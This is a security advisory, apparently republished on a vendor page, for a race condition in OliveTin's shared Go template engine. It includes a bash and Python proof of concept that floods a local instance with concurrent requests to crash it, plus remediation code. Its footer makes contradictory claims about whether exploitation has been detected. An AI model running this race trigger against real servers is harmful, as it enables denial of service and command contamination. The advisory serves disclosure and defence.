Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-7fq5-7wr8-rjwj
No affected components available
Summary
OliveTin's template engine uses a single shared text/template.Template instance (tpl package-level variable in service/internal/tpl/templates.go) across all goroutines. Every action execution calls tpl.Parse(source) followed by t.Execute() on this shared instance with no synchronization. When two or more actions execute concurrently (which is the normal case — each ExecRequest spawns a goroutine), a race condition occurs: one goroutine's Parse overwrites the template tree while another goroutine is calling Execute, causing:
- Cross-user command contamination: User A's arguments rendered in User B's shell command template
- Go runtime panic: Concurrent map writes in Go's
text/templateinternal structures cause a fatal crash - Incorrect command execution: Template/argument mismatch produces unexpected or dangerous shell commands
CWE
- CWE-362 (Concurrent Execution using Shared Resource with Improper Synchronization)
- CWE-567 (Unsynchronized Access to Shared Data in a Multithreaded Context)
Affected Versions
- All versions (the shared template has existed since the template system was introduced)
Details
The Shared Template Instance
In service/internal/tpl/templates.go:
var tpl = template.New("tpl").
Option("missingkey=error").
Funcs(template.FuncMap{"Json": jsonFunc})
This is a package-level variable — a single *template.Template shared across the entire process.
Unsafe Parse + Execute Pattern
The parseTemplate function is called for every template rendering:
func parseTemplate(source string, data any) (string, error) {
t, err := tpl.Parse(source) // Modifies shared tpl's internal Tree
if err != nil {
return "", err
}
var sb strings.Builder
err = t.Execute(&sb, data) // Reads from tpl's internal Tree
// ...
}
Critical: tpl.Parse(source) returns the same pointer as tpl (Go's template.Parse modifies the receiver and returns it). So t and tpl are the same object. When two goroutines call parseTemplate concurrently:
Goroutine A (Action "echo {{ .Arguments.name }}"):
1. tpl.Parse("echo {{ .Arguments.name }}") → sets tpl.Tree = TreeA
2. t.Execute(&sb, {Arguments: {"name": "safe"}}) → walks TreeA
Goroutine B (Action "rm -rf {{ .Arguments.path }}"):
1. tpl.Parse("rm -rf {{ .Arguments.path }}") → sets tpl.Tree = TreeB
2. t.Execute(&sb, {Arguments: {"path": "/tmp"}}) → walks TreeB
If the goroutines interleave:
A.Parse(TreeA) → B.Parse(TreeB) → A.Execute(dataA) → executes TreeB with dataA!
Goroutine A would execute rm -rf {{ .Arguments.path }} with dataA — which either errors (missing key) or, if dataA happens to have a path argument, executes with an unintended value.
No Synchronization Exists
A search for any synchronization primitives in the tpl package confirms zero mutex, lock, or atomic operations:
$ grep -r "sync\.\|Mutex\|Lock\|mutex" service/internal/tpl/
(no results)
Concurrent Goroutine Confirmation
In service/internal/executor/executor.go, ExecRequest launches each action in a new goroutine:
func (e *Executor) ExecRequest(req *ExecutionRequest) (*sync.WaitGroup, string) {
// ...
go func() {
e.execChain(req) // Calls stepParseArgs → ParseTemplateWithActionContext → parseTemplate
defer wg.Done()
}()
return wg, req.TrackingID
}
The execution chain includes stepParseArgs, which calls ParseTemplateWithActionContext, which calls parseTemplate. Multiple concurrent action executions will race on the shared tpl variable.
Go Runtime Crash Vector
Go's text/template.Parse internally modifies the template's common struct, which contains a tmpl map[string]*Template. In Go, concurrent map writes cause an unrecoverable fatal error:
fatal error: concurrent map writes
goroutine X [running]:
runtime.throw(...)
This is not a panic that can be recovered — it terminates the entire process. Two concurrent Parse calls can trigger this, crashing OliveTin.
Template Contamination Vector
Even without a crash, the race can produce dangerous results:
- User A triggers action:
shell: "echo Hello {{ .Arguments.name }}"withname=Alice - User B triggers action:
shell: "sudo systemctl restart {{ .Arguments.service }}"withservice=nginx - Race occurs: User A's
Executeruns on User B's parsed template - If User A's arguments contain a
servicekey, that value is substituted intosudo systemctl restart {{ .Arguments.service }} - If User A's arguments do NOT contain
service,missingkey=errorcauses an error — but only AFTER the template was already partially evaluated
Call Chain
API Request → ExecRequest (goroutine) → execChain → stepParseArgs
→ ParseTemplateWithActionContext → parseTemplate → tpl.Parse(source) + t.Execute(data)
↑ RACE CONDITION ↑
(shared tpl variable)
PoC
Prerequisites
- OliveTin instance with at least 2 configured actions
- Ability to trigger concurrent action executions
Config
listenAddressSingleHTTPFrontend: 0.0.0.0:1337
logLevel: "DEBUG"
checkForUpdates: false
actions:
- title: Safe Echo
id: safe-echo
shell: "echo 'Hello {{ .Arguments.name }}'"
arguments:
- name: name
type: ascii
- title: File Delete
id: file-delete
shell: "rm -f /tmp/{{ .Arguments.target }}"
arguments:
- name: target
type: ascii_identifier
Step 1: Trigger concurrent executions
#!/bin/bash
# Fire 50 concurrent requests to maximize race window
for i in $(seq 1 50); do
curl -s -X POST http://127.0.0.1:1337/api/StartAction \
-H 'Content-Type: application/json' \
-d '{"bindingId":"safe-echo","arguments":[{"name":"name","value":"Alice"}]}' &
curl -s -X POST http://127.0.0.1:1337/api/StartAction \
-H 'Content-Type: application/json' \
-d '{"bindingId":"file-delete","arguments":[{"name":"target","value":"test"}]}' &
done
wait
echo "All requests sent"
Step 2: Check for crash
# If OliveTin crashed due to concurrent map writes:
curl -s http://127.0.0.1:1337/readyz
# Expected: Connection refused (process crashed)
Step 3: Check logs for contamination
# Look for mismatched template executions in the OliveTin logs
grep -E "missingkey|Error executing template|concurrent" /var/log/olivetin.log
Python PoC — Race Trigger
#!/usr/bin/env python3
"""PoC: Template Race Condition — Cross-Request Contamination
Triggers concurrent action executions to race on the shared
text/template instance in service/internal/tpl/templates.go.
Expected outcomes:
1. Go fatal error: concurrent map writes (process crash)
2. Template error: map has no entry for key (cross-contamination detected)
3. Silent contamination: arguments rendered in wrong template
"""
import requests
import threading
import time
TARGET = "http://127.0.0.1:1337"
THREADS = 20
ITERATIONS = 100
crash_detected = threading.Event()
errors_detected = []
def fire_action_a():
"""Trigger 'safe-echo' action repeatedly."""
for _ in range(ITERATIONS):
if crash_detected.is_set():
break
try:
resp = requests.post(
f"{TARGET}/api/StartAction",
json={
"bindingId": "safe-echo",
"arguments": [{"name": "name", "value": "Alice"}]
},
headers={"Content-Type": "application/json"},
timeout=5
)
if resp.status_code != 200:
errors_detected.append(f"Action A error: {resp.status_code} {resp.text}")
except requests.exceptions.ConnectionError:
crash_detected.set()
errors_detected.append("CONNECTION REFUSED — Server likely crashed!")
break
except Exception as e:
errors_detected.append(f"Action A exception: {e}")
def fire_action_b():
"""Trigger 'file-delete' action repeatedly."""
for _ in range(ITERATIONS):
if crash_detected.is_set():
break
try:
resp = requests.post(
f"{TARGET}/api/StartAction",
json={
"bindingId": "file-delete",
"arguments": [{"name": "target", "value": "test"}]
},
headers={"Content-Type": "application/json"},
timeout=5
)
if resp.status_code != 200:
errors_detected.append(f"Action B error: {resp.status_code} {resp.text}")
except requests.exceptions.ConnectionError:
crash_detected.set()
errors_detected.append("CONNECTION REFUSED — Server likely crashed!")
break
except Exception as e:
errors_detected.append(f"Action B exception: {e}")
if __name__ == "__main__":
print(f"[*] Launching {THREADS * 2} threads, {ITERATIONS} iterations each")
print(f"[*] Target: {TARGET}")
threads = []
for _ in range(THREADS):
threads.append(threading.Thread(target=fire_action_a))
threads.append(threading.Thread(target=fire_action_b))
start = time.time()
for t in threads:
t.start()
for t in threads:
t.join()
elapsed = time.time() - start
print(f"\n[*] Completed in {elapsed:.1f}s")
print(f"[*] Total requests: {THREADS * 2 * ITERATIONS}")
if crash_detected.is_set():
print("[!] SERVER CRASH DETECTED — concurrent map write panic")
if errors_detected:
print(f"[!] {len(errors_detected)} errors detected:")
for err in errors_detected[:10]:
print(f" - {err}")
else:
print("[*] No errors detected (race window may not have been hit)")
print("[*] Try increasing THREADS/ITERATIONS or checking server logs")
Go Race Detector Verification
If you can run OliveTin with Go's race detector enabled:
cd service
go run -race . &
# Then trigger concurrent requests — the race detector will confirm the data race
Expected output:
WARNING: DATA RACE
Write by goroutine X:
text/template.(*Template).Parse()
service/internal/tpl/templates.go:XX
Previous read by goroutine Y:
text/template.(*Template).Execute()
service/internal/tpl/templates.go:XX
Impact
- Process Crash (DoS): Concurrent map writes in Go cause an unrecoverable
fatal error, crashing the entire OliveTin service - Cross-User Command Contamination: User A's arguments may be rendered in User B's shell command template, potentially executing commands with wrong/dangerous arguments
- Privilege Escalation via Contamination: If a low-privilege user's arguments contaminate a high-privilege action's template, the result could be unintended command execution
- Data Leakage: Arguments (which may contain secrets like passwords) could be rendered in another user's action output
Remediation
-
Create a new template per parse call instead of reusing the package-level singleton:
func parseTemplate(source string, data any) (string, error) { t, err := template.New(""). Option("missingkey=error"). Funcs(template.FuncMap{"Json": jsonFunc}). Parse(source) if err != nil { return "", err } var sb strings.Builder err = t.Execute(&sb, data) // ... } -
Alternative: Use
template.Must(tpl.Clone())to create a thread-safe copy per call:func parseTemplate(source string, data any) (string, error) { clone, _ := tpl.Clone() t, err := clone.Parse(source) // ... } -
Alternative: Add a mutex around
parseTemplate(but this serializes all template rendering and hurts performance):var tplMutex sync.Mutex func parseTemplate(source string, data any) (string, error) { tplMutex.Lock() defer tplMutex.Unlock() // ... }Option 1 (new template per call) is the recommended fix — it's simple, safe, and has negligible performance impact.
Resources
- Go
text/templatedocumentation: "A Template's Parse method must not be called concurrently" - CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization
service/internal/tpl/templates.go— sharedtplvariable andparseTemplatefunctionservice/internal/executor/executor.go—ExecRequestgoroutine launch (line ~524)
The vulnerability can be exploited over the network without needing physical access. It is difficult for an attacker to exploit this vulnerability and may require special conditions. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard